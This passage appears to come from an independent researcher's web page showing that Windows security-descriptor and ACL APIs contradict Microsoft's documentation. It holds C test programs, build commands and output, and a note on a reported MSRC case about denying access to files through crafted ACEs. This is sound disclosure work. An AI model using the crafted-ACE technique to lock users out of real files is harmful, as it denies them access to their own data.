The system examines each ACE in sequence until one of the following events occurs:

The MSDN article Well-known SIDs specifies:

The following are some universal well-known SIDs.

Universal well-known SID String value Identifies
Null SID S-1-0-0 A group with no members. This is often used when a SID value is not known.
World S-1-1-0 A group that includes all users.
Local S-1-2-0 Users who log on to terminals locally (physically) connected to the system.
Creator Owner ID S-1-3-0 A security identifier to be replaced by the security identifier of the user who created a new object. This SID is used in inheritable ACEs.
Creator Group ID S-1-3-1 A security identifier to be replaced by the primary-group SID of the user who created a new object. Use this SID in inheritable ACEs.

[…]

Additionally, the Security Descriptor Definition Language (SDDL) uses SID strings to reference well-known SIDs in a string format.

The MSDN article SACL Access Right states:
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.
The MSDN article Requesting Access Rights to an Object states:

Note

The MAXIMUM_ALLOWED constant cannot be used in an ACE.

The documentation for the Win32 function IsValidAcl() specifies:
The IsValidAcl function validates an access control list (ACL).
BOOL IsValidAcl(
  [in] PACL pAcl
);
[…]

If the ACL is not valid, the function returns zero. There is no extended error information for this function; do not call GetLastError.

[…]

This function checks the revision level of the ACL and verifies that the number of access control entries (ACEs) specified in the AceCount member of the ACL structure fits the space specified by the AclSize member of the ACL structure.

The documentation for the Win32 function IsValidSecurityDescriptor() specifies:
The IsValidSecurityDescriptor function determines whether the components of a security descriptor are valid.
BOOL IsValidSecurityDescriptor(
  [in] PSECURITY_DESCRIPTOR pSecurityDescriptor
);
[…]

If any of the components of the security descriptor are not valid, the return value is zero. There is no extended error information for this function; do not call GetLastError.

[…]

The IsValidSecurityDescriptor function checks the validity of the components that are present in the security descriptor. It does not verify whether certain components are present nor does it verify the contents of the individual ACE or ACL.

Falsification

Perform the following 12 simple steps to show the blunder and prove the highlighted statements of the MSDN articles cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <sddl.h>
    #include <aclapi.h>
    
    typedef	struct	_ace
    {
    	ACE_HEADER	Header;
    	ACCESS_MASK	Mask;
    	SID		Trustee;
    } ACE;
    
    const	struct	_acl
    {
    	ACL	acl;
    	ACE	ace[3];
    } dacl = {{ACL_REVISION, 0, sizeof(dacl), 3, 0},
    	// (A;NP;AS;;;CG)
              {{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                ACCESS_SYSTEM_SECURITY,
                {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_GROUP_RID}},
    	// (A;NP;0x110000;;;CO)
               {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                DELETE | SYNCHRONIZE,
                {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RID}},
    	// (D;NP;MA;;;CO)
               {{ACCESS_DENIED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                MAXIMUM_ALLOWED,
                {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RID}}}},
      sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
    	// (ML;NP;NRNWNX;;;ME)
              {{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
                SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
                {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}}};
    
    const	ACL	*acl[] = {&dacl.acl, &sacl.acl, NULL, NULL};
    
    const	SID	group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_GROUP_RID};
    
    const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
    				      0,
    				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
    				      (SID *) NULL,
    				      &group,
    				      (ACL *) NULL,
    				      &dacl};
    
    const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	SECURITY_DESCRIPTOR	*lpSD;
    
    	LPWSTR	lpSDDL;
    	DWORD	dwSDDL;
    	DWORD	dwError = ~0UL;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    #ifndef BLUNDER
    	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
    		                      DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER,
    		                      FILE_SHARE_DELETE,
    		                      &sa,
    		                      CREATE_NEW,
    		                      FILE_FLAG_DELETE_ON_CLOSE,
    		                      (HANDLE) NULL);
    	DWORD	dwACL = 0UL;
    
    	if (hBlunder == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		do
    		{
    			dwError = GetSecurityInfo(hBlunder,
    			                          SE_FILE_OBJECT,
    			                          DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
    			                          GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
    			                          (SID **) NULL,
    			                          (SID **) NULL,
    			                          (ACL **) NULL,
    			                          (ACL **) NULL,
    			                          &lpSD);
    
    			if (dwError != ERROR_SUCCESS)
    				break;
    
    			if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    			                                                         SDDL_REVISION_1,
    			                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    			                                                         &lpSDDL,
    			                                                         &dwSDDL))
    				dwError = GetLastError();
    			else
    			{
    				lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
    
    				if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
    					dwError = GetLastError();
    				else
    					if (dwError ^= dwSDDL)
    						dwError = ERROR_WRITE_FAULT;
    				//	else
    				//		dwError = ERROR_SUCCESS;
    
    				if (LocalFree(lpSDDL) != NULL)
    					dwError = GetLastError();
    			}
    
    			if (LocalFree(lpSD) != NULL)
    				dwError = GetLastError();
    
    			if (dwError != ERROR_SUCCESS)
    				break;
    
    			dwError = SetSecurityInfo(hBlunder,
    			                          SE_FILE_OBJECT,
    			                          LABEL_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION,
    			                          (SID *) NULL,
    			                          &group,
    			                          acl[dwACL],
    			                          acl[dwACL + 1UL]);
    		}
    		while ((dwError == ERROR_SUCCESS) && (++dwACL < sizeof(acl) / sizeof(*acl) - 1));
    
    		if (!CloseHandle(hBlunder))
    			dwError = GetLastError();
    	}
    #else // BLUNDER
    	if (IsValidAcl(&dacl)
    	 && IsValidAcl(&sacl)
    	 && IsValidSecurityDescriptor(&sd))
    	{
    		if (!ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
    		                                                         SDDL_REVISION_1,
    		                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    		                                                         &lpSDDL,
    		                                                         &dwSDDL))
    			dwError = GetLastError();
    		else
    		{
    			lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
    
    			if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
    				dwError = GetLastError();
    			else
    				if (dwError ^= dwSDDL)
    					dwError = ERROR_WRITE_FAULT;
    			//	else
    			//		dwError = ERROR_SUCCESS;
    
    			if (LocalFree(lpSDDL) != NULL)
    				dwError = GetLastError();
    		}
    
    		if (!CreateDirectory(L"Blunder", &sa))
    			dwError = GetLastError();
    		else
    		{
    			dwError = GetNamedSecurityInfo(L"Blunder",
    			                               SE_FILE_OBJECT,
    			                               DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
    			                               GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
    			                               (SID **) NULL,
    			                               (SID **) NULL,
    			                               (ACL **) NULL,
    			                               (ACL **) NULL,
    			                               &lpSD);
    			if (dwError == ERROR_SUCCESS)
    			{
    				if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
    				                                                         SDDL_REVISION_1,
    				                                                         OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    				                                                         &lpSDDL,
    				                                                         &dwSDDL))
    					dwError = GetLastError();
    				else
    				{
    					lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
    
    					if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
    						dwError = GetLastError();
    					else
    						if (dwError ^= dwSDDL)
    							dwError = ERROR_WRITE_FAULT;
    					//	else
    					//		dwError = ERROR_SUCCESS;
    
    					if (LocalFree(lpSDDL) != NULL)
    						dwError = GetLastError();
    				}
    
    				if (LocalFree(lpSD) != NULL)
    					dwError = GetLastError();
    			}
    
    			if (!RemoveDirectory(L"Blunder"))
    				dwError = GetLastError();
    		}
    	}
    #endif // BLUNDER
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c advapi32.lib kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(51) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(53) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(68) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(126) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(127) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:P(A;NP;;;;CG)(A;NP;0x110000;;;CO)(D;NP;;;;CO)
    O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:PAI(A;;;;;CG)(A;;0x110000;;;S-1-5-21-820728443-44925810-1835867902-1000)(D;;;;;S-1-5-21-820728443-44925810-1835867902-1000)S:(ML;;NWNRNX;;;ME)
    O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:PAIS:P
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH¹: the Win32 functions CreateFile() and SetSecurityInfo() fail to reject the AS alias ACCESS_SYSTEM_SECURITY and MA alias MAXIMUM_ALLOWED access permissions as invalid, but map them to zero alias NO_ACCESS!

    OUCH²: they also fail to enforce the preferred canonical order of the access control entries!

    OUCH³: while the Win32 function fails to resolve the universal well-known security identifiers CG alias S-1-3-1 and CO alias S-1-3-0 to the effective owner and group SIDs, SetSecurityInfo() fails to resolve only CG alias S-1-3-1!

    OUCH⁴: the Win32 function SetSecurityInfo() adds the AI alias Auto Inheritance flag to the DACL, but removes the NP alias No Propagate Inherit flag from the ACEs.

    OUCH⁵: it also discards the mandatory label (ML;NP;NRNWNX;;;ME) placed in the DACL silently instead to fail!

  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro blunder defined:

    CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(51) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(53) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(135) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(136) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(137) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(139) : warning C4090: 'function' : different 'const' qualifiers
    blunder.c(161) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    G:CGD:P(A;NP;0x1000000;;;CG)(A;NP;0x110000;;;CO)(D;NP;0x2000000;;;CO)
    O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:P(A;NP;;;;CG)(A;NP;0x110000;;;CO)(D;NP;;;;CO)
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OOPS¹: the Win32 function ConvertSecurityDescriptorToStringSecurityDescriptor() fails to convert the access masks 0x10000000 alias ACCESS_SYSTEM_SECURITY and 0x20000000 alias MAXIMUM_ALLOWED into the corresponding ACE strings AS respectively MA!

    OUCH⁶: the Win32 function CreateDirectory() fails to reject the AS alias ACCESS_SYSTEM_SECURITY and MA alias MAXIMUM_ALLOWED access permissions as invalid, but maps them to zero alias NO_ACCESS!

    OUCH⁷: it also fails to enforce the preferred canonical order of the access control entries and to resolve the universal well-known security identifiers CG alias S-1-3-1 and CO alias S-1-3-0 to the effective owner and group SIDs!

    OUCH⁸: the Win32 function RemoveDirectory() fails with Win32 error code 5 alias ERROR_ACCESS_DENIEDdespite its access permission 0 alias NO_ACCESS, i.e. no access denied, and placed last, the ACE (D;;;;;CO) overrules the ACE (A;;0x110000;;;CO) which grants the CREATOR OWNER explicit DELETE and SYNCHRONIZE access permission on the subdirectory Blunder!

  6. Overwrite the text file blunder.c created in step 1. with the following content:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <sddl.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	SECURITY_DESCRIPTOR	*lpSD;
    
    	DWORD	dwSD;
    	DWORD	dwError = ERROR_SUCCESS;
    #ifndef BLUNDER
    	if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:P(A;NP;0x10000000;;;CG)(D;NP;0x20000000;;;CO)",
    #elif BLUNDER == 1
    	if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:P(A;NP;AS;;;CG)",
    #else
    	if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:P(D;NP;MA;;;CO)",
    #endif
    	                                                         SDDL_REVISION_1,
    	                                                         &lpSD,
    	                                                         &dwSD))
    		dwError = GetLastError();
    	else
    		if (LocalFree(lpSD) != NULL))
    			dwError = GetLastError();
    
    	ExitProcess(dwError);
    }
  7. Compile and link the source file blunder.c overwritten in step 6. a first time:

    CL.EXE blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  8. Execute the console application blunder.exe built in step 7. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
  9. Compile and link the source file blunder.c overwritten in step 6. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  10. Execute the console application blunder.exe built in step 9. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x538 (WIN32: 1336 ERROR_INVALID_ACL) -- 1336 (1336)
    Error message text: The access control list (ACL) structure is invalid.
    CertUtil: -error command completed successfully.
    OOPS²: the Win32 function ConvertStringSecurityDescriptorToSecurityDescriptor() fails to convert the ACE string AS with Win32 error code 1336 alias ERROR_INVALID_ACL!
  11. Compile and link the source file blunder.c overwritten in step 6. a third time, now with the preprocessor macro BLUNDER defined as 0:

    CL.EXE /DBLUNDER=0 blunder.c advapi32.lib kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
  12. Execute the console application blunder.exe built in step 11. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x538 (WIN32: 1336 ERROR_INVALID_ACL) -- 1336 (1336)
    Error message text: The access control list (ACL) structure is invalid.
    CertUtil: -error command completed successfully.
    OOPS³: the Win32 function ConvertStringSecurityDescriptorToSecurityDescriptor() also fails to convert the ACE string MA with Win32 error code 1336 alias ERROR_INVALID_ACL!
Note: an exploration of the blunder with the Win32 functions CreateDirectoryEx(), CreateDirectoryTransacted(), CreateFile2(), CreateFileTransacted() and SetNamedSecurityInfo() (as well as others) is left as an exercise to the reader.

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Security Impact

The blunder demonstrated above allows to deny (un)intentionally any access to file system objects via ACEs with ACCESS_SYSTEM_SECURITY or MAXIMUM_ALLOWED access permission!

MSRC Case 65060

Due to their security impact I reported these bugs at the MSRC where case number 65060 was assigned.

They replied with the following statements:

Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).

However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.

Blunder № 27

The MSDN article Windows Integrity Mechanism Design states in its Setting the mandatory label ACE section:
The permissions that are required to change the mandatory label ACE in the SACL of a security descriptor is WRITE_OWNER. Writing the mandatory label to the SACL does not require SE_SECURITY_NAME privilege, or the ACCESS_SYSTEM_SECURITY access right. The integrity level in the mandatory label can be set to a value less than or equal to the subject’s integrity level.

Falsification

Perform the following 5 simple steps to show the blunder and prove the highlighted statement of the MSDN article cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    typedef	struct	_ace
    {
    	ACE_HEADER	Header;
    	ACCESS_MASK	Mask;
    	SID		Trustee;
    } ACE;
    
    const	struct	_acl
    {
    	ACL	acl;
    	ACE	ace;
    } sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
    	// (ML;NP;NRNWNX;;;ME)
              {{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
               SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
               {SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}};
    
    const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
    				      0,
    				      SE_SACL_PRESENT | SE_SACL_PROTECTED,
    				      (SID *) NULL,
    				      (SID *) NULL,
    				      &sacl,
    				      (ACL *) NULL};
    
    const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError = ERROR_SUCCESS;
    #ifndef BLUNDER
    	HANDLE	hBlunder = CreateFile(L"blunder.tmp",
    		                      DELETE | WRITE_OWNER,
    		                      FILE_SHARE_DELETE,
    		                      &sa,
    		                      CREATE_NEW,
    		                      FILE_FLAG_DELETE_ON_CLOSE,
    		                      (HANDLE) NULL);
    
    	if (hBlunder == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    		if (!CloseHandle(hBlunder))
    			dwError = GetLastError();
    #else
    	if (!CreateDirectory(L"Blunder", &sa))
    		dwError = GetLastError();
    	else
    		if (!RemoveDirectory(L"Blunder"))
    			dwError = GetLastError();
    #endif
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(31) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(34) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314)
    Error message text: A required privilege is not held by the client.
    CertUtil: -error command completed successfully.
    OUCH¹: the Win32 function CreateFile() fails with Win32 error code 1314 alias ERROR_PRIVILEGE_NOT_HELD – contrary to the highlighted statement of the MSDN article cited above it’s impossible to set a mandatory label upon file creation without the SeSecurityPrivilege alias SE_SECURITY_NAME privilege!
  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(31) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(34) : warning C4090: 'initializing' : different 'const' qualifiers
    blunder.c(55) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314)
    Error message text: A required privilege is not held by the client.
    CertUtil: -error command completed successfully.
    OUCH²: the Win32 function CreateDirectory() fails with Win32 error code 1314 alias ERROR_PRIVILEGE_NOT_HELD – contrary to the highlighted statement of the MSDN article cited above it’s impossible to set a mandatory label upon directory creation without the SeSecurityPrivilege alias SE_SECURITY_NAME privilege!
Note: an exploration of the blunder with the Win32 functions CreateDirectoryEx(), CreateDirectoryTransacted(), CreateFile2() and CreateFileTransacted() is left as an exercise to the reader.

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 28

The documentation for the Win32 function GetNamedSecurityInfo() states:
The GetNamedSecurityInfo function retrieves a copy of the security descriptor for an object specified by name.
DWORD GetNamedSecurityInfo(
  [in]            LPCTSTR              pObjectName,
  [in]            SE_OBJECT_TYPE       ObjectType,
  [in]            SECURITY_INFORMATION SecurityInfo,
  [out, optional] PSID                 *ppsidOwner,
  [out, optional] PSID                 *ppsidGroup,
  [out, optional] PACL                 *ppDacl,
  [out, optional] PACL                 *ppSacl,
  [out, optional] PSECURITY_DESCRIPTOR *ppSecurityDescriptor
);
[…]

[out, optional] ppSecurityDescriptor

A pointer to a variable that receives a pointer to the security descriptor of the object. When you have finished using the pointer, free the returned buffer by calling the LocalFree function.

This parameter is required if any one of the ppsidGroup, ppDacl, or ppSacl parameters is not NULL.

[…]

To read the owner, group, or DACL from the object's security descriptor, the object's DACL must grant READ_CONTROL access to the caller, or the caller must be the owner of the object.

To read the system access control list of the object, the SE_SECURITY_NAME privilege must be enabled for the calling process.

The documentation for the Win32 function GetSecurityInfo() states:
The GetSecurityInfo function retrieves a copy of the security descriptor for an object specified by a handle.
DWORD GetSecurityInfo(
  [in]            HANDLE               handle,
  [in]            SE_OBJECT_TYPE       ObjectType,
  [in]            SECURITY_INFORMATION SecurityInfo,
  [out, optional] PSID                 *ppsidOwner,
  [out, optional] PSID                 *ppsidGroup,
  [out, optional] PACL                 *ppDacl,
  [out, optional] PACL                 *ppSacl,
  [out, optional] PSECURITY_DESCRIPTOR *ppSecurityDescriptor
);
[…]

[out, optional] ppSecurityDescriptor

A pointer to a variable that receives a pointer to the security descriptor of the object. When you have finished using the pointer, free the returned buffer by calling the LocalFree function.

This parameter is required if any one of the ppsidOwner, ppsidGroup, ppDacl, or ppSacl parameters is not NULL.

[…]

To read the owner, group, or DACL from the object's security descriptor, the calling process must have been granted READ_CONTROL access when the handle was opened. To get READ_CONTROL access, the caller must be the owner of the object or the object's DACL must grant the access.

OUCH⁰: contrary to the highlighted statements of both documentations cited above, the ppSecurityDescriptor parameter is not optional, but mandatory – a call of both functions without possibility to return the security descriptor is pretty useless utter nonsense!

OUCH¹: contrary to the highlighted statements of both documentations cited above, the object's owner may have no READ_CONTROL access permission!

The TechNet article Security Identifiers Technical Overview specifies:

The following table lists the universal well-known SIDs.

Universal well-known SIDs

Value Universal Well-Known SID Identifies
S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.

Falsification

Perform the following 10 simple steps to prove the highlighted statements of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2009-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <aclapi.h>
    
    #define FILE_SHARE_NONE	0UL
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    #ifdef BLUNDER
    	SECURITY_DESCRIPTOR	*lpSD;
    #endif
    #ifndef blunder
    	DWORD	dwError = GetNamedSecurityInfo(L"blunder.exe",
    		                               SE_FILE_OBJECT,
    		                               OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
    		                               (SID **) NULL,
    		                               (SID **) NULL,
    		                               (ACL **) NULL,
    		                               (ACL **) NULL,
    #ifndef BLUNDER
    		                               (SECURITY_DESCRIPTOR **) NULL);
    #else
    		                               &lpSD);
    		if (dwError == ERROR_SUCCESS)
    			if (LocalFree(lpSD) != NULL)
    				dwError = GetLastError();
    #endif
    #else // blunder
    	DWORD	dwError;
